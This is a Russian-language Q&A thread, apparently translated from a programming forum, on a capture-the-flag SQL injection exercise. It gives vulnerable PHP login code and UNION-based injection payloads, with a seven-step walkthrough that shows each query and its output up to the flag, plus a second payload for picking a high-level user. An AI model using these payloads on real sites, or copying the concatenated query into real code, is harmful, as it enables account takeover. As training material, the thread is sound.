Я новичок в SQL-инъекциях и пытаюсь узнать, как написать запрос в поле ввода, которое будет вернуть строку. Следующий веб-сайт имеет введенные данные Username:
а также Password:
Этот сайт имеет следующий код PHP:
<?php
include "config.php";
$con = mysqli_connect("localhost", "sql2", "sql2", "sql2");
$username = $_POST["username"];
$password = $_POST["password"];
$debug = $_POST["debug"];
$query = "SELECT * FROM users WHERE username='$username'";
$result = mysqli_query($con, $query);
echo "MYSQL Injection Tutorial:<br><br>";
if (intval($debug)) {
echo "<pre>";
echo "username: ", htmlspecialchars($username), "\n";
echo "password: ", htmlspecialchars($password), "\n";
echo "SQL query: ", htmlspecialchars($query), "\n";
if (mysqli_errno($con) !== 0) {
echo "SQL error: ", htmlspecialchars(mysqli_error($con)), "\n";
}
echo "</pre>";
}
$logged_in = false;
if (mysqli_num_rows($result) === 1) {
$row = mysqli_fetch_array($result);
if ($row["password"] === $password) {
$logged_in = true;
echo "<h1>Logged in!</h1>";
echo "<pre>User level: ", $row["user_level"], "</pre>";
if ($row["user_level"] >= 50) {
echo "<p>you have found a high level user</p>";
} else {
echo "<p>you didn't find a user that has a high level.</p>";
}
}
}
if (!$logged_in) {
echo "<h1>Login failed. Try Again</h1>";
}
?>
Если у вас есть идеи, пожалуйста, покажите мне пример
Учитывая SQL-конструкцию, используемую в коде, т.е.
SELECT * FROM users WHERE username='$username'
Это похоже на уязвимость SQL-инъекций. Чтобы успешно использовать это, нам, вероятно, понадобится совершить несколько попыток на странице.
Так как мы не можем изменить константную часть этой строки, мы стремимся сделать так, чтобы текст SQL был примерно таким:
SELECT *
FROM users
WHERE username = '' AND 1=0
UNION ALL
SELECT '','','','secret' AS password, '51' AS user_level, ''
Очевидно, мы должны были бы успешно угадать количество столбцов в пользователях и угадать позиции «password
» а также «user_level
столбцы. Мы можем попытаться ввести пароль и ввести его в нескольких местах …
В форме ввода текста для имени пользователя мы вводим что-то вроде:
' AND 1=0 UNION ALL SELECT 'secret','secret','secret','secret','51','51','51',51
Для пароля мы вводим: secret
Мы могли бы забить это разным количеством столбцов и разными позициями для пароля и user_level.
При достаточном количестве попыток мы могли получить строку, возвращаемую запросом. Если бы мы знали количество столбцов и положение столбцов пароля и user_level, мы были бы далеко впереди игры.
Если мы сможем включить эту отладку и заставить веб-сайт отображать ошибку SQL, это также облегчит нам задачу. Как только мы нажимаем на форму, которая не возвращает ошибку SQL, мы знаем, что у нас есть правильное количество столбцов. Нам не нужно угадывать имена столбцов правильно, так как запрос UNION / UNION ALL получает имена столбцов из первого запроса.
Обратите внимание, что наши попытки были бы полностью сорваны, если бы приложение использовало подготовленный оператор с переменной связывания. (Нам нужно использовать уязвимость в подготовленном заполнителе оператора / связывания, чтобы наши данные были введены в текст SQL.)
Следовать за
Если мы возьмемся за значения поста до их отправки, мы можем установить это «скрытое» значение отладки равным 1.
Начнем с предположения, что таблица users
имеет как минимум три столбца.
попытка 1 (попробуйте три столбца):
username: ' OR 1=0 UNION ALL SELECT 'a','a','a
password: a
SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'a','a','a'
SQL error: The used SELECT statements have a different number of columns
Login failed.
На странице входа есть утечка информации. Теперь мы знаем запрос, который выполняет страница, и знаем, что таблица пользователей не имеет трех столбцов.
попытка 2, (попробуйте четыре столбца):
username: ' OR 1=0 UNION ALL SELECT 'b','b','b','b
password: b
SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'b','b','b','b'
SQL error: The used SELECT statements have a different number of columns
Так что это не четыре колонки. Давайте попробуем пять столбцов.
попытка 3, (попробуйте пять столбцов):
username: ' OR 1=0 UNION ALL SELECT 'c','c','c','c','c
password: cb
SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'c','c','c','c','c'
Logged in!
User level: c
Only user levels 1337 or above can see the flag.
Итак, мы знаем, что таблица пользователей состоит из пяти столбцов. Теперь нам просто нужно выяснить, какой из этих столбцов является столбцом пароля.
попытка 4 (пароль в пятой колонке):
username: ' OR 1=0 UNION ALL SELECT 'a','b','c','d','e
password: e
SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'a','b','c','d','e'
Login failed.
Итак, пароль — это не пятая колонна. Давайте попробуем четвертый столбец:
попытка 5 (пароль в четвертом столбце):
username: ' OR 1=0 UNION ALL SELECT 'a','b','c','d','e
password: d
SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'a','b','c','d','e'
Login failed.
Итак, мы знаем, что пароль не четвертый столбец. Давайте попробуем третий столбец.
попытка 6 (пароль в третьем столбце):
username: ' OR 1=0 UNION ALL SELECT 'a','b','c','d','e
password: c
SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'a','b','c','d','e'
Logged in!
User level: e
Only user levels 1337 or above can see the flag.
Итак, теперь мы определили, что пароль является третьим столбцом в таблице пользователей. Эта страница дает нам больше информации. Похоже, что пятый столбец — это уровень пользователя (полученный нами ответ говорит нам, что уровень пользователя — это значение, которое мы указали для пятого столбца. Итак, давайте попробуем указать 1337 в качестве значения пятого столбца.
попытка 7 (пароль как третий столбец, пятый столбец как уровень пользователя = 1337):
username: ' OR 1=0 UNION ALL SELECT 'a','b','c','d','1337
password: c
SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'a','b','c','d','1337'
Logged in!
User level: 1337
Your flag is: flag_nJZAKGWYt7YfzmTsCV
Итак, мы продемонстрировали эксплойт уязвимости SQL Injection всего за семь попыток.
Здесь есть некоторые проблемы, которые нужно преодолеть. Первый, mysqli_query
не позволит вам выполнять более одного оператора за раз, поэтому вы ограничены тем, что вы можете сделать с исходным запросом. Во-вторых, код вручную проверяет введенный пароль по строке, возвращаемой MySQL, поэтому вам потребуется вставить поддельные данные в возвращаемый результат.
Следующее будет работать, но это потребует знания структуры таблицы.
Я предполагаю, что таблица имеет только три столбца, и они определены в следующем порядке: username
, password
, user_level
Используйте это как ваше имя пользователя:
' AND 1 = 2 UNION SELECT username, 'password' AS password, user_level FROM users WHERE user_level > '50
И «пароль» в качестве пароля.
То, что это делает, делает оригинальный поиск SELECT для чего-то, что он никогда не найдет (AND 1 = 2
). Мы могли бы просто пропустить эту часть, но мог бы быть пользователь с пустым именем пользователя, что могло бы испортить ситуацию.
Затем мы создаем собственный запрос, вставляя жестко запрограммированный пароль в строку и находя пользователя с нужным уровнем. Затем мы объединяем это с (в настоящее время пустым) набором результатов. Именно здесь требуется знание структуры базы данных, потому что UNION
s нужно одинаковое количество столбцов для каждого SELECT
(даже если первый пустой). Может быть, есть лучший способ обойти это, но я не 1337 h4x0r, так что я не знаю!